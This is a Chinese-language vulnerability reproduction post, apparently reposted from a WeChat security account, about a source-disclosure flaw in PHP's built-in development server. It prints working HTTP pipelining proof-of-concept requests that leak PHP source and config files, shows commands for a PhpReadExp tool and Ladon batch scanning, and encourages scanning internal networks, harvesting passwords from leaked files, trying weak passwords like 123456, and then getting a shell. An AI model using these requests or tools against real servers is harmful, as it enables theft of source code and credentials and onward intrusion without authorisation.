漏洞复现php 5.5.45 – 8.0.2任意文件读取

渗透技巧 1年前 (2023) admin
1,488 0 0

简介

在多个编程语言内置服务器上测试请求流水线时,我们观察到PHP的奇怪行为。随着我们深入研究,我们发现了PHP中的一个安全漏洞,它可能会将PHP文件的源代码暴露为静态文件,而不是按预期执行。

经过进一步测试,我们发现该漏洞在最新的PHP版本中不存在。我们对不同版本的PHP进行了进一步的测试,以确定何时修复了错误,以及原因。我们的调查使我们找到了PHP 7.4.22的修补版本,通过对未修补代码与修补代码的比较,我们可以看到为修复该漏洞所做的具体更改。

成功版本

漏洞介绍是PHP<=7.4.21版本,K8测试成功版本影响到8.x,以下随机测试的几个版本均成功读取到PHP源码

php 5.4.45  php 5.5.38php 7.3.4ntsphp 8.0.2-nts  

失败版本

php 8.2.2-ntsphp 8.0.27-nts

漏洞复现

命令行启动php服务器

php -S 0.0.0.0:888 -n -t ./

漏洞复现php 5.5.45 - 8.0.2任意文件读取

POC

GET /info.php HTTP/1.1rnHost: 192.168.188.3:888rnrnrnGET / HTTP/1.1rnrn

此POC在PHP服务器不存在index.php文件时,不管新旧版本PHP均可成功读取info.php文件代码。但首页存在index.php文件时,旧版本依旧可读,但7.3.X以上版本,POC失效。

漏洞复现php 5.5.45 - 8.0.2任意文件读取

burp测试的时候要关掉自动填充Content-Length,以免复现失败

升级POC

index.php我们观察到,如果该文件存在于服务器启动的当前目录中,则不会泄露源代码。index.php然而,我们对漏洞利用 POC 进行了轻微修改,
无论文件是否存在,它都会公开源代码。其原因在于上面对bug的解释。

GET /info.php HTTP/1.1rnHost: 192.168.188.3:888rnrnrnGET /k8gege.org HTTP/1.1rnrn


漏洞复现php 5.5.45 - 8.0.2任意文件读取

工具读取任意文件内容

工具演示读取任意文件内容,实际上不只是读取php代码,其它文本也可以,比如db.config、*.ini等相关密码配置文件。

PhpReadExp.exe http://k8gege.org     默认读取index.php内容PhpReadExp.exe http://k8gege.org info.php 读取info.php内容

漏洞复现php 5.5.45 - 8.0.2任意文件读取

批量检测

工具可独立使用,也可当作Ladon模块使用,存在漏洞URL将回显index.php文件内容。由于是开发服务器,可能在外网存在漏洞的概率比较小,当然也不好说,可能有开发人员懒得搭Apache、Nginx、IIS等服务器,直接使用php搭建个小站也是有可能的,因为在漏洞爆光前,他们也不知道存在此漏洞啊,为了方便,一条命令搞定,自然没必要去使用中间件。内网若是扫得到,估计就是生产环境了,可能也很少人直接使用PHP开发服务器,这个我也不是太了解PHP开发人员平时喜欢直接PHP还是中间件,实战为王,不管有没有,内网遇到PHP服务器,先检测是否存在漏洞再说,不要用猜的,所谓经验只是知道可能性小,概率小和概率0是两个概念,除非你有通杀0day,轻易拿下很多项目,要不然概率小的漏洞,甚至弱口令123456这种你认为目标不可能用的密码都要尝试,虽然概率低,但在实战中上千个项目中依然有几个是通过123456进后台再getshell的,记住实战为王,表面理论或猜的都是流氓。

Ladon48 url PhpReadExp.exeLadon48 url.txt PhpReadExp.exe

漏洞复现php 5.5.45 - 8.0.2任意文件读取

注意

此漏洞只是读取任意文件内容,并非PHP代码执行,读取到的PHP代码,需要查看是否有相关密码,或存在相应漏洞再getshell。

 https://blog.projectdiscovery.io/php-http-server-source-disclosure/

原文始发于微信公众号(K8实验室):漏洞复现php 5.5.45 – 8.0.2任意文件读取

版权声明:admin 发表于 2023年2月4日 下午3:24。
转载请注明:漏洞复现php 5.5.45 – 8.0.2任意文件读取 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...